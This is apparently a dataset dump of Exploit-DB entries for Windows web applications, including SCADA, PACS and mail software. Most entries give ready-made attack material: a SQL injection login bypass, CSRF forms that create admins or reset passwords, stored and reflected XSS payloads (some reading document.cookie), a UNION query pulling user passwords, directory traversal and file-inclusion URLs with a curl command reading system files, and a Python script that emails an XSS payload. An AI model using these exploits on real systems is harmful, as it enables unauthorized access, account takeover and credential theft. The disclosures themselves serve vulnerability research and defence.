deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23184
Description: Software602 602Pro LAN SUITE 2003 - Sensitive User Information Storage
Type: webapps
Platform: windows
Date: 2003-09-25
Author: Phuong Nguyen

Exploit:
source: https://www.securityfocus.com/bid/8700/info

A problem with the storage of user credentials has been identified in Software602 602Pro LAN SUITE 2003. Because of this, an attacker may be able to gain access to potentially sensitive information. 

http://www.example.com/mail/S030904L.LOG
Exploit-DB #35529
Description: Soitec SmartEnergy 1.4 - SCADA Login SQL Injection / Authentication Bypass
Type: webapps
Platform: windows
Date: 2014-12-15
Author: LiquidWorm

Exploit:

Soitec SmartEnergy 1.4 SCADA Login SQL Injection Authentication Bypass Exploit


Vendor: Soitec
Product web page: http://www.soitec.com
Affected version: 1.4 and 1.3

Summary: Soitec power plants are a profitable and ecological investment
at the same time. Using Concentrix technology, Soitec offers a reliable,
proven, cost-effective and bankable solution for energy generation in the
sunniest regions of the world. The application shows how Concentrix technology
works on the major powerplants managed by Soitec around the world. You will
be able to see for each powerplant instantaneous production, current weather
condition, 3 day weather forecast, Powerplant webcam and Production data history.

Desc: Soitec SmartEnergy web application suffers from an authentication bypass
vulnerability using SQL Injection attack in the login script. The script fails
to sanitize the 'login' POST parameter allowing the attacker to bypass the security
mechanism and view sensitive information that can be further used in a social
engineering attack.

Tested on: nginx/1.6.2


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Vendor status:

[16.11.2014] Vulnerability discovered.
[02.12.2014] Vendor contacted.
[08.12.2014] Vendor responds asking more details.
[08.12.2014] Sent details to the vendor.
[09.12.2014] Vendor confirms the vulnerability.
[12.12.2014] Vendor applies fix to version 1.4.
[14.12.2014] Coordinated public security advisory released.


Advisory ID: ZSL-2014-5216
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5216.php


16.11.2014

---



POST /scada/login HTTP/1.1
Host: smartenergy.soitec.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://smartenergy.soitec.com/scada/login
Cookie: csrftoken=ygUcdD2i1hFxUM6WpYB9kmrWqFhlnSBY; _ga=GA1.2.658[PII_REDACTED]124715; sessionid=ixi3w5s72yopc29t9ewrxwq15lzb7v1e
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 87

csrfmiddlewaretoken=ygUcdD2i1hFxUM6WpYB9kmrWqFhlnSBY&login=%27+or+1%3D1--&password=blah
Exploit-DB #41310
Description: SonicDICOM PACS 2.3.2 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: windows
Date: 2017-02-11
Author: LiquidWorm

Exploit:
SonicDICOM PACS 2.3.2 CSRF Add Admin Exploit


Vendor: JIUN Corporation
Product web page: https://www.sonicdicom.com
Affected version: 2.3.2 and 2.3.1

Summary: SonicDICOM is PACS software that combines the capabilities of
DICOM Server with web browser based DICOM Viewer.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: Microsoft-HTTPAPI/2.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5395
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5395.php

22.11.2016

--


<html>
  <body>
    <form action="http://172.19.0.214/viewer/api/accounts/create" method="POST">
      <input type="hidden" name="Id" value="testingus" />
      <input type="hidden" name="Name" value="Second Admin" />
      <input type="hidden" name="Authority" value=“1” />
      <input type="hidden" name="Password" value="654321" />
      <input type="submit" value="Request" />
    </form>
  </body>
</html>
Exploit-DB #41309
Description: SonicDICOM PACS 2.3.2 - Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2017-02-11
Author: LiquidWorm

Exploit:
SonicDICOM PACS 2.3.2 Multiple Stored Cross-Site Scripting Vulnerabilities


Vendor: JIUN Corporation
Product web page: https://www.sonicdicom.com
Affected version: 2.3.2 and 2.3.1

Summary: SonicDICOM is PACS software that combines the capabilities of
DICOM Server with web browser based DICOM Viewer.

Desc: The application suffers from multiple stored XSS vulnerabilities.
Input passed to several API POST parameters is not properly sanitised
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: Microsoft-HTTPAPI/2.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5394
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5394.php

22.11.2016

--


CSRF Stored XSS via value parameter in settings API:
----------------------------------------------------

<html>
  <body>
    <form action="http://172.19.0.214/viewer/api/settings/add" method="POST">
      <input type="hidden" name="id" value="testingus" />
      <input type="hidden" name="key" value="viewer&#46;display&#46;overlay&#46;tl" />
      <input type="hidden" name="value" value="&#123;"angle"&#58;&#123;"item&#95;name"&#58;"Angle"&#44;"display&#95;name"&#58;"&#92;"><script>alert&#40;1&#41;<&#47;script>"&#125;&#125;" />
      <input type="submit" value="Request #1" />
    </form>
  </body>
</html>


CSRF Stored XSS via Name parameter in sendsettings API:
-------------------------------------------------------

<html>
  <body>
    <form action="http://172.19.0.214/viewer/api/sendsettings/create" method="POST">
      <input type="hidden" name="Name" value=""><script>prompt&#40;2&#41;<&#47;script>" />
      <input type="hidden" name="IPAddress" value="1&#46;1&#46;1&#46;1" />
      <input type="hidden" name="Port" value="123" />
      <input type="hidden" name="CalledAETitle" value="asd" />
      <input type="hidden" name="CallingAETitle" value="dsa" />
      <input type="submit" value="Request #2" />
    </form>
  </body>
</html>


CSRF Stored XSS via Name parameter in providers API:
----------------------------------------------------

<html>
  <body>
    <form action="http://172.19.0.214/viewer/api/providers/create" method="POST">
      <input type="hidden" name="Name" value=""><script>confirm&#40;2&#41;<&#47;script>" />
      <input type="hidden" name="Port" value="123" />
      <input type="hidden" name="AETitle" value="ZSL" />
      <input type="hidden" name="AllowAnonymousUsers" value="true" />
      <input type="hidden" name="IsAnonymous" value="true" />
      <input type="submit" value="Request #3" />
    </form>
  </body>
</html>
Exploit-DB #41311
Description: SonicDICOM PACS 2.3.2 - Privilege Escalation
Type: webapps
Platform: windows
Date: 2017-02-11
Author: LiquidWorm

Exploit:
SonicDICOM PACS 2.3.2 Remote Vertical Privilege Escalation Exploit


Vendor: JIUN Corporation
Product web page: https://www.sonicdicom.com
Affected version: 2.3.2 and 2.3.1

Summary: SonicDICOM is PACS software that combines the capabilities of
DICOM Server with web browser based DICOM Viewer.

Desc: The application suffers from a privilege escalation vulnerability.
Normal user can elevate his/her privileges by sending a HTTP PATCH request
seting the parameter 'Authority' to integer value '1' gaining admin rights.

Tested on: Microsoft-HTTPAPI/2.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5396
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5396.php

22.11.2016

--

PATCH /viewer/api/accounts/update HTTP/1.1
Host: 172.19.0.214
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Escalation Browser/1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: {REMOVED_FOR_BREVITY}
Connection: close

Id=testingus&Name=peend&Authority=1
Exploit-DB #19455
Description: specview 2.5 build 853 - Directory Traversal
Type: webapps
Platform: windows
Date: 2012-06-29
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  SpecView
              http://www.specview.com
Versions:     <= 2.5 build 853
Platforms:    Windows
Bug:          web server directory traversal
Exploitation: remote
Date:         29 Jun 2012
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


SpecView is an easy to use SCADA software.


#######################################################################

======
2) Bug
======


The software has an option (disabled by default) that allows to run a
web server for providing an updated screenshot of the program.
This built-in web server is affected by a classical directory
traversal attack through the usage of more than two dots.


#######################################################################

===========
3) The Code
===========


http://SERVER/.../.../.../.../.../.../boot.ini
http://SERVER/...\...\...\...\...\...\boot.ini


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #18451
Description: Sphinix Mobile Web Server 3.1.2.47 - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: windows
Date: 2012-02-02
Author: SecPod Research

Exploit:
##############################################################################
#
# Title    : Sphinix Mobile Web Server Multiple Persistent XSS Vulnerabilities
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.sphinx-soft.com/MWS/index.html
# Advisory : http://secpod.org/blog/?p=453
#            http://secpod.org/advisories/SecPod_SPHINX_SOFT_Mobile_Web_Server_Mul_Persistence_XSS_Vulns.txt
# Software : Mobile Web Server U3 3.1.2.47
# Date     : 01/08/2012
#
###############################################################################

SecPod ID: 1027					23/08/2011 Issue Discovered
                                                20/01/2012 Vendor Notified
						No Response
						01/02/2012 Advisory Released


Class: Cross-Site Scripting (Persistent)        Severity: Medium


Overview:
---------
Sphinx Software Mobile Web Server is prone to multiple persistent Cross Site
Scripting vulnerabilities.


Technical Description:
----------------------
Input passed via the 'comment' to 1)/Blog/MyFirstBlog.txt,
2)/Blog/AboutSomething.txt pages are not properly verified, which allows remote
attackers to inject arbitrary script code.


Impact:
--------
Successful exploitation could allow remote attackers to execute malicious
scripts and steal sensitive data.


Affected Software:
------------------
Mobile Web Server U3 3.1.2.47


Tested on:
-----------
Mobile Web Server U3 3.1.2.47 on Windows XP SP2.


References:
-----------
http://secpod.org/blog/?p=453


Proof of Concept:
----------------
1) /Blog/MyFirstBlog.txt?comment=<script>alert(1234)</script>&submit=Add+Comment


2) /Blog/AboutSomething.txt?comment=<script>alert(1234)</script>&submit=Add+Comment


Vendor URL:
----------------
http://www.sphinx-soft.com/MWS/index.html


Solution:
----------
Not available


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = PARTIAL
        INTEGRITY_IMPACT       = PARTIAL
        AVAILABILITY_IMPACT    = NONE
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N)

Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
Exploit-DB #20063
Description: SpiceWorks 5.3.75941 - Persistent Cross-Site Scripting / (Authenticated) SQL Injection
Type: webapps
Platform: windows
Date: 2012-07-23
Author: dookie

Exploit:
Product: SpiceWorks
Version: 5.3.75941
Vendor Site: http://www.spiceworks.com/community/
Software Download Link: http://www.spiceworks.com/download/?utm_source=comm-secondary-link&utm_medium=website&utm_campaign=homepage
Installer Filename: Spiceworks.exe  MD5: 023bd361c0f9402dc07adbc5a72fe31d
Contact: http://www.spiceworks.com/contact/

Timeline:

04 Jun 2012: Vulnerability reported to CERT
08 Jun 2012: Response received from CERT with disclosure date of 20 Jul 2012
23 Jul 2012: Updated received from CERT: No response from vendor
23 Jul 2012: Public Disclosure

SQL Injection (Post-Authentication):

http://server/api_v2.json?queries[device][class]=Device&queries[device][select]=id,b_manufacturer,manufacturer,b_model,model,operating_system,device_type&queries[device][conditions]=id=14%29%20UNION%20SELECT%20NULL,%20NULL,%20NULL,%20email,%20NULL,%20NULL,%20password%20from%20users%20where%20id=1--

Stored XSS:

An attacker can configure their snmpd.conf file to contain malicious JavaScript as shown in the proof of concept below:

rocommunity public
com2sec local	localhost	public
view	systemview	included	.1.3.6.1.2.1.1
view    systemview      included	.1.3.6.1.2.1.25.1.1
view    systemview      included	.1 80
syslocation <script>alert('location')</script>
syscontact <script>alert('contact')</script>
sysName dook<script>alert('name')</script>
Exploit-DB #42117
Description: Subsonic 6.1.1 - Cross-Site Request Forgery
Type: webapps
Platform: windows
Date: 2017-06-05
Author: hyp3rlinx

Exploit:
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SUBSONIC-PASSWORD-RESET-CSRF.txt
[+] ISR: ApparitionSec            
 


Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
=====================
CSRF - Password Reset



CVE Reference:
==============
CVE-2017-9415



Security Issue:
================
Remote attackers can reset subsonic user account passwords if an authenticated user clicks a malicious link
or visits an attacker controlled webpage. However, username must be known or guessed.




Exploit/POC:
=============
<form  action="http://localhost:4040/userSettings.view" method="POST">
<input type="hidden" name="username"  value="admin">
<input type="hidden" name="transcodeSchemeName" value="OFF">
<input name="passwordChange" type="hidden" value="true"/>
<input type="hidden" name="_passwordChange" value="on"/>
<input  name="password" type="hidden" value="xyz123"/>
<input  name="confirmPassword" type="hidden" value="xyz123"/>
<input  name="email" type="hidden" value=""/>
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
=============================
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #42120
Description: Subsonic 6.1.1 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2017-06-05
Author: hyp3rlinx

Exploit:
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-PERSISTENT-XSS.txt
[+] ISR: ApparitionSec            
 

Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
======================
CSRF - Persistent XSS



CVE Reference:
==============
CVE-2017-9414



Security Issue:
================
Remote attackers can abuse the Subscribe to Podcast feature of subsonic to store persistent XSS payloads 
if an authenticated user clicks a malicious link or visits an attacker controlled webpage. 



Exploit/POC:
=============
<form action="http://localhost:4040/playerSettings.view" method="post">
<input name="playerId" type="hidden" value="1">
<input name="name" type="text" value="<script>alert('XSS ' +document.cookie)</script>">
<script>document.forms[0].submit()</script>
</form>

Then visit http://localhost:4040/index.view

HTTP Response:
XSS JSESSIONID=1n631ex230ljs; player-61646d696e=1; DWRSESSIONID=!hqFsK!BCyup7gBQU8spRLvw0tBacefl9Nl


Misc Reflected:

XSS 1
http://localhost:4040/avatar.view?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS 2
http://localhost:4040//userChart.view?type=%3Cscript%3Ealert(document.cookie)%3C/script%3E

XSS 3
http://localhost:4040/coverArt.view?size=%3Cscript%3Ealert(123)%3C/script%3E



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification:  May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #46305
Description: SureMDM < 2018-11 Patch - Local / Remote File Inclusion
Type: webapps
Platform: windows
Date: 2019-02-01
Author: Digital Interruption

Exploit:
# Exploit Title: SureMDM LFI/RFI (Prior to 2018-11 Patch)
# Google Dork: inurl:/api/DownloadUrlResponse.ashx
# Date: 2019-02-01
# Exploit Author: Digital Interruption
# Vendor Homepage: https://www.42gears.com/
# Software Link: https://www.42gears.com/products/suremdm-home/
# Version: Versions prior to the November 2018 patch
# Tested on: Windows
# CVE : CVE-2018-15657

An attacker can force the web server to request remote files and display the output by placing any arbitrary URL in the "url" parameter of /api/DownloadUrlResponse.ashx. This can also be utilised to request files from the local file system by using the file:// URI syntax, such as file://C:/WINDOWS/System32/drivers/etc/hosts

Proof of concept: curl -H "ApiKey: apiKey" http://target/api/DownloadUrlResponse.ashx?url=file://C:/WINDOWS/System32/drivers/etc/hosts
Exploit-DB #20363
Description: Surgemail 6.0a4 - Persistent Cross-Site Scripting
Type: webapps
Platform: windows
Date: 2012-08-08
Author: loneferret

Exploit:
#!/usr/bin/python

'''

Author: loneferret of Offensive Security
Product: SurgeMail
Version: 6.0a4
Vendor Site: http://www.netwinsite.com
Software Download: http://netwinsite.com/download.htm

Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: Coordinated details with vendor
08 Aug 2012: Public Disclosure

Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9

Injection Point: Body
Injection Payload(s):
1: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

'''


import smtplib, urllib2
 
payload = """<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"""
 
def sendMail(dstemail, frmemail, smtpsrv, username, password):
        msg  = "From: hacker@offsec.local\n"
        msg += "To: victim@victim.local\n"
        msg += 'Date: Today\r\n'
        msg += "Subject: XSS\n"
        msg += "Content-type: text/html\n\n"
        msg += "XSS" + payload + "\r\n\r\n"
        server = smtplib.SMTP(smtpsrv)
        server.login(username,password)
        try:
                server.sendmail(frmemail, dstemail, msg)
        except Exception, e:
                print "[-] Failed to send email:"
                print "[*] " + str(e)
        server.quit()
 
username = "hacker@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv  = "172.16.84.171"
 
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)